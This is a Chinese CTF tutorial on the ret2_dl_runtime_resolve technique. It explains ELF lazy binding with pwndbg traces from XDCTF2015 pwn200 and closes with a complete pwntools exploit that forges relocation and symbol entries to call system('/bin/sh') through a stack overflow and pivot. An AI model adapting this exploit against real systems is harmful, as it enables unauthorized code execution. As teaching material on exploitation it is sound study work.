ret2_dl_runtime_resolve

长江东去浪回头 伴我春晓铜雀楼
一壶醉我一歌喉 君乃浪子不回眸

简介

程序想要调用其他动态链接库的函数,必须要在程序加载的时候动态链接;在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块;所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被用到的时候才进行绑定(符号查找、重定位等);
而在linux 中是利用_dl_runtime_resolve(link_map_obj, reloc_index) 来对动态链接的函数进行重定位的;

ELF关于动态链接的关键section

.dynamic

动态节一般保存了ELF文件依赖于哪些动态库,动态符号节信息,动态符号节信息;
.dynamic是GOT表的第一项;GOT表的第二项是link_map的地址,第三个是_dl_runtime_resolve函数的地址,第四项开始才是函数的GOT表
.dynamic

.dynsym

动态链接的 ELF 文件具有专门的动态符号表,其使用的结构就是 Elf32_Sym,但是其存储的节为 .dynsym

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

.dynsym 是运行时所需的,ELF 文件中 export/import 的符号信息全在这里
objdump -s -j .dynsym ./test 查看.dynsym基地址和内容

.dynstr

此节区包含用于动态链接的字符串,大多数情况下这些字符串代表了与符号表项相关的名称;
objdump -s -j .dynstr ./test 查看.dynstr基地址和内容

.rel.plt

这里是重定位表,也是一个结构体数组,每个项对应一个导入函数;

1
2
3
4
5
6
7
typedef struct
{
Elf32_Addr r_offset; /* 这个值就是got表的虚拟地址 */
Elf32_Word r_info; /* .dynsym节区符号表索引 */
} Elf32_Rel;
#define ELF32_R_SYM(val)((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)

objdump -s -j .rel.plt ./test 查看.rel.plt基地址和内容

_dl_runtime_resolve函数具体运行模式

首先总的来说一下_dl_runtime_resolve函数如何使程序第一次调用一个函数:

  1. 用link_map访问.dynamic,分别取出.dynstr、 .dynsym、 .rel.plt的地址;
  2. .rel.plt + 参数n,求出当前函数的重定位表项Elf32_Rel的指针,记作rel;
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym;
  4. .dynstr + sym->st_name得出符号名字符串指针;
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表;
  6. 最后调用这个函数;

现在我们通过一个实例来解释上面的过程:
任意打开一个ELF程序,这里我用XDCTF2015的pwn200中的strlen函数为例;
在0x8048588下断点;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x8048579 <main+90>     call   setbuf@plt <0x8048390>

0x804857e <main+95> add esp, 0x10
0x8048581 <main+98> sub esp, 0xc
0x8048584 <main+101> lea eax, [ebp - 0x6c]
0x8048587 <main+104> push eax
► 0x8048588 <main+105> call strlen@plt <0x80483b0>
s: 0xffffbd8c ◂— 'Welcome to XDCTF2015~!\n'

0x804858d <main+110> add esp, 0x10
0x8048590 <main+113> sub esp, 4
0x8048593 <main+116> push eax
0x8048594 <main+117> lea eax, [ebp - 0x6c]
0x8048597 <main+120> push eax

然后si进入call strlen@plt;

1
2
3
4
5
6
7
8
9
10
11
0x80483b0  <strlen@plt>                jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+20] <0x804a014>

0x80483b6 <strlen@plt+6> push 0x10 //参数n
0x80483bb <strlen@plt+11> jmp 0x8048380

0x8048380 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
0x8048386 jmp dword ptr [0x804a008] <0xf7fead80>

0xf7fead80 <_dl_runtime_resolve> push eax
0xf7fead81 <_dl_runtime_resolve+1> push ecx
0xf7fead82 <_dl_runtime_resolve+2> push edx

我们看到程序没有直接转到strlen函数,而是跳转到了_dl_runtime_resolve函数;并且push了两个参数:

1
2
push   0x10 //参数n
push dword ptr [_GLOBAL_OFFSET_TABLE_+4]<0x804a004>

刚好是_dl_runtime_resolve(link_map_obj, reloc_index)需要的参数;其中0x804a004就是link_map指针,然后0x10就是reloc_index;

我们来看看如何通过这两个参数找到strlen函数的;
首先查看link_map的地址0xf7ffd940:

1
2
pwndbg> x/wx 0x804a004
0x804a004: 0xf7ffd940

然后通过link_map找到.dynamic的地址:

1
2
3
pwndbg> x/10wx 0xf7ffd940
0xf7ffd940: 0x00000000 0xf7ffdc2c 0x08049f14 0xf7ffdc30
0xf7ffd950: 0x00000000 0xf7ffd940 0x00000000 0xf7ffdc20

其中第三个地址就是.dynamic的地址,即0x08049f14;
然后通过.dynamic来找到.dynstr、 .dynsym、 .rel.plt的地址:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/40wx 0x08049f14
0x8049f14: 0x00000001 0x00000001 0x0000000c 0x08048358
0x8049f24: 0x0000000d 0x08048624 0x00000019 0x08049f08
0x8049f34: 0x0000001b 0x00000004 0x0000001a 0x08049f0c
0x8049f44: 0x0000001c 0x00000004 0x6ffffef5 0x080481ac
0x8049f54: 0x00000005 0x08048278 0x00000006 0x080481d8
0x8049f64: 0x0000000a 0x0000006b 0x0000000b 0x00000010
0x8049f74: 0x00000015 0xf7ffd920 0x00000003 0x0804a000
0x8049f84: 0x00000002 0x00000028 0x00000014 0x00000011
0x8049f94: 0x00000017 0x08048330 0x00000011 0x08048318
0x8049fa4: 0x00000012 0x00000018 0x00000013 0x00000008

.dynamic的地址加0x44的位置是.dynstr;
.dynamic的地址加0x4c的位置是.dynsym;
.dynamic的地址加0x84的位置是.rel.plt;

然后用.rel.plt的地址加上参数n,即0x08048330 + 0x10找到函数的重定位表项Elf32_Rel的指针,记作rel;

1
2
3
4
pwndbg> x/10wx 0x08048330
0x8048330: 0x0804a00c 0x00000107 0x0804a010 0x00000207
0x8048340: 0x0804a014 0x00000407 0x0804a018 0x00000507
0x8048350: 0x0804a01c 0x00000607

这里rel为0x8048340,所以:

1
2
r_offset = 0x0804a014   //指向GOT表的指针
r_info = 0x00000407

然后我们将r_info>>8,即0x00000407>>8 = 4作为.dynsym中的下标;
此时我们来到.dynsym的位置,去找找strlen函数的名字符串偏移;

1
2
3
4
5
6
pwndbg> x/20wx 0x080481d8
0x80481d8: 0x00000000 0x00000000 0x00000000 0x00000000 //dynsym[0]
0x80481e8: 0x00000033 0x00000000 0x00000000 0x00000012 //dynsym[1]
0x80481f8: 0x00000027 0x00000000 0x00000000 0x00000012 //dynsym[2]
0x8048208: 0x00000052 0x00000000 0x00000000 0x00000020 //dynsym[3]
0x8048218: 0x00000020 0x00000000 0x00000000 0x00000012 //dynsym[4]

注意是下标,不是相对与.dynsym地址的偏移,如果是找地址偏移需要下标*0x10;
所以这里的name_offset = 0x00000020;
然后用.dynstr的地址加上name_offset,就是这个函数的符号名字符串st_name;

1
2
pwndbg> x/s 0x08048278 + 0x20
0x8048298: "strlen"

最后在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表就可以了;

思路

事实上,虚拟地址是通过最后一个箭头,即从st_name得来的,只要我们能够修改这个st_name就可以执行任意函数。比如把st_name的内容修改成为”system”;
而index_arg即参数n是我们可以控制的,我们需要做的是通过一系列操作。把index_arg可控转化为st_name可控;我们需要在一个可写地址上构造一系列伪结构就可以完成利用或在条件允许的情况下直接修改.dynstr;
所以我们需要在程序中找一段空间出来,放我们直接构造的fake_dynsym,fake_dynstr和fake_rel_plt等;

计算index_arg

1
2
3
4
5
6
$ objdump -s -j .rel.plt ./test
./x86: file format elf32-i386
Contents of section .rel.plt:
08048298 0ca00408 07010000 10a00408 07030000 ................

index_arg = fake_rel_plt_addr - 0x08048298

r_info的计算方法

r_info的计算方法是:

  1. n = (欲伪造的地址-.dynsym基地址)/0x10
  2. r_info = n<<8

比如:

1
2
3
4
5
6
7
8
9
$ objdump -s -j .dynsym ./test
./test: file format elf32-i386
Contents of section .dynsym:
80481cc 00000000 00000000 00000000 00000000 ................

x = ((0x0804A040 + 4*4) - 0x080481cc)/0x10
r_info = x<<8 = 0x1e800
还需要过#define ELF32_R_TYPE(val) ((val) & 0xff)宏定义,ELF32_R_TYPE(r_info)=7,因此
r_info = 0x1e800 + 0x7 = 0x1e807

计算name_offset

1
2
3
4
5
6
$objdump -s -j .dynstr ./test
./test: file format elf32-i386
Contents of section .dynstr:
804821c 006c6962 632e736f 2e36005f 494f5f73 .libc.so.6._IO_s

st_name = fake_dynstr_addr - 0x804821c

构造的ROP:
构造的ROP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './main'
p = process(name)
#p=remote('chall.pwnable.tw', 10103)
elf= ELF(name)
#libc = ELF('./libc_32.so.6')
if args.G:
gdb.attach(p)

rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr #0x8048330
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr #0x80481d8
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr #0x8048278
resolve_plt = 0x08048380
leave_ret_addr = 0x0804851D
start = 0x804aa00

fake_rel_plt_addr = start
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh_addr = fake_dynstr_addr + 0x7

n = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_offset = fake_dynstr_addr - dynstr_addr


fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system\x00/bin/sh\x00\x00"


pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)

p.recvuntil('Welcome to XDCTF2015~!\n')
p.sendline(pay1)

pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr

p.sendline(pay2)

success(".rel_plt: " + hex(rel_plt_addr))
success(".dynsym: " + hex(dynsym_addr))
success(".dynstr: " + hex(dynstr_addr))
success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
success("n: " + hex(n))
success("r_info: " + hex(r_info))
success("offset: " + hex(str_offset))
success("system_addr: " + hex(fake_dynstr_addr))
success("bss_addr: " + hex(elf.bss()))

p.interactive()
文章目录
  1. 1. 简介
  2. 2. ELF关于动态链接的关键section
    1. 2.1. .dynamic
    2. 2.2. .dynsym
    3. 2.3. .dynstr
    4. 2.4. .rel.plt
  3. 3. _dl_runtime_resolve函数具体运行模式
  4. 4. 思路
    1. 4.1. 计算index_arg
    2. 4.2. r_info的计算方法
    3. 4.3. 计算name_offset
  5. 5. EXP
,